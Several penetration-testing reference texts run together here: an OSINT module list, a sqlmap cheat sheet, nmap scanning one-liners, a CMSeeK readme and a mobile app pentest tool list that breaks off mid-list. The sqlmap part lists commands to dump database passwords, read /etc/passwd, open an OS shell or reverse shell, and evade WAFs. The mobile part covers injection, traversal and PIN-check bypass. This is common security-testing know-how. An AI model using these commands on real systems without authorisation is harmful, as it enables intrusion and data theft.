Nmap]([https://nmap.org/](https://nmap.org/))|Identify what Operating System might be used.|Tool [Tool - Nuclei]([https://nuclei.projectdiscovery.io/](https://nuclei.projectdiscovery.io/))|Fast and customisable vulnerability scanner.|Tool [Tool - onesixtyone]([https://github.com/trailofbits/onesixtyone](https://github.com/trailofbits/onesixtyone))|Fast scanner to find publicly exposed SNMP services.|Tool [Tool - Retire.js]([http://retirejs.github.io/retire.js/](http://retirejs.github.io/retire.js/))|Scanner detecting the use of JavaScript libraries with known vulnerabilities|Tool [Tool - snallygaster]([https://github.com/hannob/snallygaster](https://github.com/hannob/snallygaster))|Finds file leaks and other security problems on HTTP servers.|Tool [Tool - testssl.sh]([https://testssl.sh](https://testssl.sh))|Identify various TLS/SSL weaknesses, including Heartbleed, CRIME and ROBOT.|Tool [Tool - TruffleHog]([https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog))|Searches through git repositories for high entropy strings and secrets, digging deep into commit history.|Tool [Tool - WAFW00F]([https://github.com/EnableSecurity/wafw00f](https://github.com/EnableSecurity/wafw00f))|Identify what web application firewall (WAF) is in use on the specified website.|Tool [Tool - Wappalyzer]([https://www.wappalyzer.com/](https://www.wappalyzer.com/))|Wappalyzer indentifies technologies on websites.|Tool [Tool - WhatWeb]([https://github.com/urbanadventurer/whatweb](https://github.com/urbanadventurer/whatweb))|Identify what software is in use on the specified website.|Tool [TOR Exit Nodes](https://metrics.torproject.org/)|Check if an IP adddress or netblock appears on the Tor Metrics exit node list.|Free API [TORCH](https://torchsearch.wordpress.com/)|Search Tor 'TORCH' search engine for mentions of the target domain.|Free API [Trashpanda](https://got-hacked.wtf)|Queries Trashpanda to gather intelligence about mentions of target in pastesites|Tiered API [Trumail](https://trumail.io/)|Check whether an email is disposable|Free API [Twilio](https://www.twilio.com/)|Obtain information from Twilio about phone numbers. Ensure you have the Caller Name add-on installed in Twilio.|Tiered API [Twitter](https://twitter.com/)|Gather name and location from Twitter profiles.|Free API [UCEPROTECT](http://www.uceprotect.net/)|Check if a netblock or IP address is in the UCEPROTECT database.|Free API [URLScan.io](https://urlscan.io/)|Search URLScan.io cache for domain information.|Free API [Venmo](https://venmo.com/)|Gather user information from Venmo API.|Free API [ViewDNS.info](https://viewdns.info/)|Identify co-hosted websites and perform reverse Whois lookups using ViewDNS.info.|Tiered API [VirusTotal](https://www.virustotal.com/)|Obtain information from VirusTotal about identified IP addresses.|Tiered API [VoIP Blacklist (VoIPBL)](https://voipbl.org/)|Check if an IP address or netblock is malicious according to VoIP Blacklist (VoIPBL).|Free API [VXVault.net](http://vxvault.net/)|Check if a domain or IP address is malicious according to VXVault.net.|Free API Web Analytics Extractor|Identify web analytics IDs in scraped webpages and DNS TXT records.|Internal Web Framework Identifier|Identify the usage of popular web frameworks like jQuery, YUI and others.|Internal Web Server Identifier|Obtain web server banners to identify versions of web servers being used.|Internal Web Spider|Spidering of web-pages to extract content for searching.|Internal [WhatCMS](https://whatcms.org/)|Check web technology using WhatCMS.org API.|Tiered API [Whoisology](https://whoisology.com/)|Reverse Whois lookups using Whoisology.com.|Commercial API Whois|Perform a WHOIS look-up on domain names and owned netblocks.|Internal [Whoxy](https://www.whoxy.com/)|Reverse Whois lookups using Whoxy.com.|Commercial API [WiGLE](https://wigle.net/)|Query WiGLE to identify nearby WiFi access points.|Free API [Wikileaks](https://wikileaks.org/)|Search Wikileaks for mentions of domain names and e-mail addresses.|Free API [Wikipedia Edits](https://www.wikipedia.org/)|Identify edits to Wikipedia articles made from a given IP address or username.|Free API [XForce Exchange](https://exchange.xforce.ibmcloud.com/)|Obtain IP reputation and passive DNS information from IBM X-Force Exchange.|Tiered API [Yandex DNS](https://yandex.com/)|Check if a host would be blocked by Yandex DNS.|Free API [Zetalytics](https://zetalytics.com/)|Query the Zetalytics database for hosts on your target domain(s).|Tiered API [ZoneFile.io](https://zonefiles.io)|Search ZoneFiles.io Domain query API for domain information.|Tiered API [Zone-H Defacement Check](https://zone-h.org/)|Check if a hostname/domain appears on the zone-h.org 'special defacements' RSS feed.|Free API ### DOCUMENTATION Read more at the [project website](https://www.spiderfoot.net/r.php?u=aHR0cHM6Ly93d3cuc3BpZGVyZm9vdC5uZXQv&s=os_gh), including more complete documentation, blog posts with tutorials/guides, plus information about [SpiderFoot HX](https://www.spiderfoot.net/r.php?u=aHR0cHM6Ly93d3cuc3BpZGVyZm9vdC5uZXQvaHgvCg==&s=os_gh). Latest updates announced on [Twitter](https://twitter.com/spiderfoot).
<details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. </details> # Basic arguments for SQLmap ## Generic ```bash -u "<URL>" -p "<PARAM TO TEST>" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="<KNOWN DB TECH>" --os="<OS>" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="<AUTH>" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ## Retrieve Information ### Internal ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` ### DB data ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D <DB NAME> ) --columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> ) -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column ``` # Injection place ## From Burp/ZAP capture Capture the request and create a req.txt file ```bash sqlmap -r req.txt --current-user ``` ## GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ## POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ## Injections in Headers and other HTTP Methods ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ## Indicate string when injection is successful ```bash --string="string_showed_when_TRUE" ``` ## Eval **Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ## Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ## Read File ```bash --file-read=/etc/passwd ``` ## Crawl a website with SQLmap and auto-exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ## Second Order Injection ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs ``` [**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** # Customizing Injection ## Set a suffix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ## Prefix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ## Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ## Tamper Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | | base64encode.py | Base64 all characters in a given payload | | between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | | chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | | commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | | concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" | | charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" | | equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | | escapequotes.py | Slash escape quotes (' and ") | | greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | | halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | | ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' | | modsecurityversioned.py | Embraces complete query with versioned comment | | modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | | multiplespaces.py | Adds multiple spaces around SQL keywords | | nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters | | percentage.py | Adds a percentage sign ('%') infront of each character | | overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | | randomcase.py | Replaces each keyword character with random case value | | randomcomments.py | Add random comments to SQL keywords | | securesphere.py | Appends special crafted string | | sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs | | space2comment.py | Replaces space character (' ') with comments | | space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | | space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | | space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | | space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | | space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | | space2plus.py | Replaces space character (' ') with plus ('+') | | space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and | | unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | | unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | | uppercase.py | Replaces each keyword character with upper case value 'INSERT' | | varnish.py | Append a HTTP header 'X-originating-IP' | | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | | versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. </details>
# Script de reconocimiento ## Simple Port Scanning Bash Script Bash script to automate some types of port scans using Nmap. It includes some scan profiles to identify common open ports and services, web servers, UDP services, high ports, live hosts, etc., using TCP/SYN/UDP and other port scanning techniques. ### Usage simple-nmap-script.sh [-b] -f {source_file} {scan_name} [initials] simple-nmap-script.sh [-b] -i {ip_range} {scan_name} [initials] ## Algunos TIPs para nmap Listar los puertos abiertos y luego scanear solo esos ``` ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -sC -sV <IP> ``` --- De [@seguridadyredes](https://twitter.com/seguridadyredes) https://twitter.com/seguridadyredes/status/1265165758386102277 ``` for cai in $(seq 140 150);do sudo nmap -sV -F -v -Pn -n --min-rate 50 192.168.1.$cai -oG - |ag -v 'Status|\#'|sed 's/()/,/;s/Ports://'|sed 's/Ignored.*//' |tr '/' ' '|jq -R -s -c 'split(",")'|sed 's/\\t//g;s/\\n//'| jq -r . | colout 'Host.*' orange reverse ;done ``` https://twitter.com/seguridadyredes/status/1265187963446743040 ``` for cai in $(seq 142 150);do sudo nmap -sV -F -v -Pn -n 192.168.1.$cai -oG - |ag -v 'Status|\#' |sed 's/()/,/;s/Ports://' | sed 's/Ignored.*//'|tr '/' ' '| .. |sed 's/"."://'|tr -d '"'|ag -v '{|^}'|sed 's/\\t//'|tr -d '}|,'|sed 's/ /,/10'|sed 's/ /,/8'|sed 's/ /,/7' ```
# CMSeeK ## Official Documentation Reference: https://github.com/Tuhinshubhra/CMSeeK ## Description **CMSeeK** scans WordPress, Joomla, Drupal and over 180 other CMSs. A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. ## Usage ``` docker run -it --rm secsi/cmseek -u <target_url> ``` ## 🐳 RAUDI: Regularly and Automatically Updated Docker Images Hello, friend. This Docker Image has been created by RAUDI. What is RAUDI? **RAUDI** (Regularly and Automatically Updated Docker Images) automatically generates and keep updated a series of *Docker Images* through *GitHub Actions* for tools that are not provided by the developers. **RAUDI** is what will save you from creating and managing a lot of Docker Images manually. Every time a software is updated you need to update the Docker Image if you want to use the latest features, the dependencies are not working anymore. This is messy and time-consuming. Don't worry anymore, we got you covered. If you want to contribute, give us a star or take a quick look at the source code of **RAUDI** click [here](https://github.com/cybersecsi/RAUDI).
## Mobile Application Penetration Testing Cheat Sheet The Mobile App Pentest cheat sheet was created to provide concise collection of high value information on specific mobile application penetration testing topics. - [All-in-one Mobile Security Frameworks](#all-in-one-mobile-security-frameworks) - [Android Application Penetration Testing](#android-application-penetration-testing) - [Android Testing Distributions](#android-testing-distributions) - [Reverse Engineering and Static Analysis](#reverse-engineering-and-static-analysis) - [Dynamic and Runtime Analysis](#dynamic-and-runtime-analysis) - [Network Analysis and Server Side Testing](#network-analysis-and-server-side-testing) - [Bypassing Root Detection and SSL Pinning](#bypassing-root-detection-and-ssl-pinning) - [Security Libraries](#security-libraries) - [Android CrackMe Challenges](#android-crackme-challenges) - [iOS Application Penetration Testing](#ios-application-penetration-testing) - [Access Filesystem on iDevice](#access-filesystem-on-idevice) - [Reverse Engineering and Static Analysis](#reverse-engineering-and-static-analysis) - [Dynamic and Runtime Analysis](#dynamic-and-runtime-analysis) - [Network Analysis and Server Side Testing](#network-analysis-and-server-side-testing) - [Bypassing Root Detection and SSL Pinning](#bypassing-root-detection-and-ssl-pinning) - [Security Libraries](#security-libraries) - [Contribution](#contribution) - [License](#license) ### All-in-One Mobile Security Frameworks * [Mobile Security Framework - MobSF](https://github.com/ajinabraham/Mobile-Security-Framework-MobSF) - Mobile Security Framework is an intelligent, all-in-one open source mobile application (Android/iOS) automated pen-testing framework capable of performing static and dynamic analysis. * python manage.py runserver 127.0.0.1:1337 ### Android Application Penetration Testing #### Android Testing Distributions * [Appie](https://manifestsecurity.com/appie) - A portable software package for Android Pentesting and an awesome alternative to existing Virtual machines. * [Androl4b](https://github.com/sh4hin) - A Virtual Machine For Assessing Android applications, Reverse Engineering and Malware Analysis * [Android Tamer](https://androidtamer.com/) - Android Tamer is a Virtual / Live Platform for Android Security professionals. * [AppUse](https://appsec-labs.com/AppUse/) - AppUse is a VM (Virtual Machine) developed by AppSec Labs. * [Mobisec](http://sourceforge.net/projects/mobisec/) - Mobile security testing live environment. * [Santoku](https://santoku-linux.com/) - Santoku is an OS and can be run outside a VM as a standalone operating system. #### Reverse Engineering and Static Analysis * [APKInspector](https://github.com/honeynet/apkinspector/) - APKinspector is a powerful GUI tool for analysts to analyze the Android applications. * [APKTool](http://ibotpeaches.github.io/Apktool/) - A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. * Disassembling Android apk file * apktool d [apk file] * Rebuilding decoded resources back to binary APK/JAR with certificate signing * apktool b [modified folder] * keytool -genkey -v -keystore keys/test.keystore -alias Test -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000 * jarsigner -keystore keys/test.keystore dist/test.apk -sigalg SHA1withRSA -digestalg SHA1 Test * [Dex2jar](https://github.com/pxb1988/dex2jar) - A tool for converting .dex file to .class files (zipped as jar). * Converting apt file into jar file * dex2jar [apk file] * [Oat2dex](https://github.com/testwhat/SmaliEx) - A tool for converting .oat file to .dex files. * Deoptimize boot classes (The output will be in "odex" and "dex" folders) * java -jar oat2dex.jar boot [boot.oat file] * Deoptimize application * java -jar oat2dex.jar [app.odex] [boot-class-folder output from above] * Get odex from oat * java -jar oat2dex.jar odex [oat file] * Get odex smali (with optimized opcode) from oat/odex * java -jar oat2dex.jar smali [oat/odex file] * [JD-Gui](http://jd.benow.ca/) - A tool for decompiling and analyzing Java code. * [FindBugs](http://findbugs.sourceforge.net/) + [FindSecurityBugs](http://h3xstream.github.io/find-sec-bugs/) - FindSecurityBugs is a extension for FindBugs which include security rules for Java applications. * [Qark](https://github.com/linkedin/qark) - This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. * [AndroBugs] (https://github.com/AndroBugs/AndroBugs_Framework) - AndroBugs Framework is an efficient Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android applications. No need to install on Windows. * [Simplify](https://github.com/CalebFenton/simplify) - A tool for de-obfuscating android package into Classes.dex which can be use Dex2jar and JD-GUI to extract contents of dex file. * simplify.jar -i [input smali files or folder] -o [output dex file] * [ClassNameDeobfuscator](https://github.com/HamiltonianCycle/ClassNameDeobfuscator) - Simple script to parse through the .smali files produced by apktool and extract the .source annotation lines. * [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework) - MARA is a Mobile Application Reverse engineering and Analysis Framework. It is a toolkit that puts together commonly used mobile application reverse engineering and analysis tools to assist in testing mobile applications against the OWASP mobile security threats #### Dynamic and Runtime Analysis * [Introspy-Android](https://github.com/iSECPartners/Introspy-Android) - Blackbox tool to help understand what an Android application is doing at runtime and assist in the identification of potential security issues. * [Cydia Substrate](http://www.cydiasubstrate.com/) - Cydia Substrate for Android enables developers to make changes to existing software with Substrate extensions that are injected in to the target process's memory. * [Xposed Framework](http://forum.xda-developers.com/xposed/xposed-installer-versions-changelog-t2714053) - Xposed framework enables you to modify the system or application aspect and behaviour at runtime, without modifying any Android application package(APK) or re-flashing. * [CatLog](https://github.com/nolanlawson/Catlog) - Graphical log reader for Android. * [Droidbox](https://code.google.com/p/droidbox/) - DroidBox is developed to offer dynamic analysis of Android applications. * [Devknox](https://devknox.io/) -Autocorrect security issues as if it was spell check from your IDE. * [Frida](http://www.frida.re/) - The toolkit works using a client-server model and lets you inject in to running processes not just on Android, but also on iOS, Windows and Mac. * [Fridump](https://github.com/sushi2k/fridump) - A universal memory dumper using Frida. * [Nathan](https://github.com/mseclab/nathan) - Android Emulator for mobile security testing. * [Brida](https://github.com/federicodotta/Brida) - The new bridge between Burp Suite and Frida. * [AppMon](https://github.com/dpnishant/appmon) - An automated framework for monitoring and tampering system API calls of native macOS, iOS and android apps * [Drozer](https://www.mwrinfosecurity.com/products/drozer/) - Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS. * Starting a session * adb forward tcp:31415 tcp:31415 * drozer console connect * Retrieving package information * run app.package.list -f [app name] * run app.package.info -a [package name] * Identifying the attack surface * run app.package.attacksurface [package name] * Exploiting Activities * run app.activity.info -a [package name] -u * run app.activity.start --component [package name] [component name] * Exploiting Content Provider * run app.provider.info -a [package name] * run scanner.provider.finduris -a [package name] * run app.provider.query [uri] * run app.provider.update [uri] --selection [conditions] [selection arg] [column] [data] * run scanner.provider.sqltables -a [package name] * run scanner.provider.injection -a [package name] * run scanner.provider.traversal -a [package name] * Exploiting Broadcast Receivers * run app.broadcast.info -a [package name] * run app.broadcast.send --component [package name] [component name] --extra [type] [key] [value] * run app.broadcast.sniff --action [action] * Exploiting Service * run app.service.info -a [package name] * run app.service.start --action [action] --component [package name] [component name] * run app.service.send [package name] [component name] --msg [what] [arg1] [arg2] --extra [type] [key] [value] --bundle-as-obj #### Network Analysis and Server Side Testing * [Tcpdump](http://www.androidtcpdump.com) - A command line packet capture utility. * [Wireshark](https://www.wireshark.org/download.html) - An open-source packet analyzer. * Live packet captures in real time * adb shell "tcpdump -s 0 -w - | nc -l -p 4444“ * adb forward tcp:4444 tcp:4444 * nc localhost 4444 | sudo wireshark -k -S -i – * [Canape](http://www.contextis.com/services/research/canape/) - A network testing tool for arbitrary protocols. * [Mallory](https://intrepidusgroup.com/insight/mallory/) - A Man in The Middle Tool (MiTM) that use to monitor and manipulate traffic on mobile devices and applications. * [Burp Suite](https://portswigger.net/burp/download.html) - Burp Suite is an integrated platform for performing security testing of applications. * [Proxydroid](https://play.google.com/store/apps/details?id=org.proxydroid) - Global Proxy App for Android System. #### Bypassing Root Detection and SSL Pinning * [Android SSL Trust Killer](https://github.com/iSECPartners/Android-SSL-TrustKiller) - Blackbox tool to bypass SSL certificate pinning for most applications running on a device. * [Android-ssl-bypass] (https://github.com/iSECPartners/android-ssl-bypass) - an Android debugging tool that can be used for bypassing SSL, even when certificate pinning is implemented, as well as other debugging tasks. The tool runs as an interactive console. * [RootCoak Plus](https://github.com/devadvance/rootcloakplus) - Patch root checking for commonly known indications of root. #### Security Libraries * [PublicKey Pinning](https://www.owasp.org/images/1/1f/Pubkey-pin-android.zip) - Pinning in Android can be accomplished through a custom X509TrustManager. X509TrustManager should perform the customary X509 checks in addition to performing the pinning configuration. * [Android Pinning](https://github.com/moxie0/AndroidPinning) - A standalone library project for certificate pinning on Android. * [Java AES Crypto](https://github.com/tozny/java-aes-crypto) - A simple Android class for encrypting & decrypting strings, aiming to avoid the classic mistakes that most such classes suffer from. * [Proguard](http://proguard.sourceforge.net/) - ProGuard is a free Java class file shrinker, optimizer, obfuscator, and preverifier. It detects and removes unused classes, fields, methods, and attributes. * [SQL Cipher](https://www.zetetic.net/sqlcipher/sqlcipher-for-android/) - SQLCipher is an open source extension to SQLite that provides transparent 256-bit AES encryption of database files. * [Secure Preferences](https://github.com/scottyab/secure-preferences) - Android Shared preference wrapper than encrypts the keys and values of Shared Preferences. * [Trusted Intents](https://github.com/guardianproject/TrustedIntents) - Library for flexible trusted interactions between Android apps. * [PiracyChecker](https://github.com/javiersantos/PiracyChecker) - An Android library that prevents your app from being pirated / cracked using Google Play Licensing (LVL), APK signature protection and more. API 8+ required * [OkHttp](https://github.com/square/okhttp/wiki/HTTPS) - Secure coniguration description for HTTP & HTTP/2 library for android (certificate pinning, protocols, ciphers) ### Android CrackMe Challenges * https://github.com/reoky/android-crackme-challenge * https://github.com/OWASP/owasp-mstg/tree/master/Crackmes * https://www.codemetrix.net/hacking-android-apps-with-frida-1/ * https://11x256.github.io ### iOS Application Penetration Testing #### Most Common Vulnerabilities In IOS Applications * [secure-ios-app-dev](https://github.com/felixgr/secure-ios-app-dev) #### Access Filesystem on iDevice * [FileZilla](https://filezilla-project.org/download.php?show_all=1) - It supports FTP, SFTP, and FTPS (FTP over SSL/TLS). * [Cyberduck](https://cyberduck.io) - Libre FTP, SFTP, WebDAV, S3, Azure & OpenStack Swift browser for Mac and Windows. * [itunnel](https://code.google.com/p/iphonetunnel-usbmuxconnectbyport/downloads/list) - Use to forward SSH via USB. * [iFunbox](http://www.i-funbox.com) - The File and App Management Tool for iPhone, iPad & iPod Touch. #### Reverse Engineering and Static Analysis * [otool](http://www.unix.com/man-page/osx/1/otool/) - The otool command displays specified parts of object files or libraries. * [Clutch](http://cydia.radare.org/) - Decrypted the application and dump specified bundleID into binary or .ipa file. * [Dumpdecrypted] (https://github.com/stefanesser/dumpdecrypted) - Dumps decrypted mach-o files from encrypted iPhone applications from memory to disk. This tool is necessary for security researchers to be able to look under the hood of encryption. * iPod:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Scan.app/Scan * [class-dump](http://stevenygard.com/projects/class-dump/) - A command-line utility for examining the Objective-C runtime information stored in Mach-O files. * [Weak Classdump] (https://github.com/limneos/weak_classdump) - A Cycript script that generates a header file for the class passed to the function. Most useful when you cannot classdump or dumpdecrypted , when binaries are encrypted etc. * iPod:~ root# cycript -p Skype weak_classdump.cy; cycript -p Skype * #cy weak_classdump_bundle([NSBundle mainBundle],"/tmp/Skype") * [IDA Pro](https://www.hex-rays.com/products/ida/index.shtml) - IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that offers so many features it is hard to describe them all. * [HopperApp](http://hopperapp.com/) - Hopper is a reverse engineering tool for OS X and Linux, that lets you disassemble, decompile and debug your 32/64bits Intel Mac, Linux, Windows and iOS executables. * [iRET](https://www.veracode.com/iret-ios-reverse-engineering-toolkit) - The iOS Reverse Engineering Toolkit is a toolkit designed to automate many of the common tasks associated with iOS penetration testing. * [IOSSecAudit](https://github.com/alibaba/iOSSecAudit)-A semi-automatic tool for iOS App security audit and iOS reverse engineering #### Dynamic and Runtime Analysis * [cycript](http://www.cycript.org) - Cycript allows developers to explore and modify running applications on either iOS or Mac OS X using a hybrid of Objective-C++ and JavaScript syntax through an interactive console that features syntax highlighting and tab completion. * Show current view * cy# UIApp.keyWindow.rootViewController.topViewController.visibleViewController * Get an array of existing objects of a certain class * cy# choose(UIViewController) * List method at runtime * cy# [classname].messages or * cy# function printMethods(className) { var count = new new Type("I"); var methods = class_copyMethodList(objc_getClass(className), count); var methodsArray = []; for(var i = 0; i < *count; i++) { var method = methods[i]; methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)}); } free(methods); free(count); return methodsArray; } * cy# printMethods("[classname]") * Prints out all the instance variables * cy# function tryPrintIvars(a){ var x={}; for(i in *a){ try{ x[i] = (*a)[i]; } catch(e){} } return x; } * cy# a=#0x15d0db80 * cy# tryPrintIvars(a) * Manipulating through property * cy# [a pinCode] * cy# [a setPinCode: @"1234"] * cy# [a isValidPin] * cy# a->isa.messages['isValidPin'] = function(){return 1;} * [iNalyzer](https://appsec-labs.com/cydia/) - AppSec Labs iNalyzer is a framework for manipulating iOS applications, tampering with parameters and method. * [idb](https://github.com/dmayer/idb) - idb is a tool to simplify some common tasks for iOS pentesting and research. * [snoop-it](http://cydia.radare.org/) - A tool to assist security assessments and dynamic analysis of iOS Apps. * 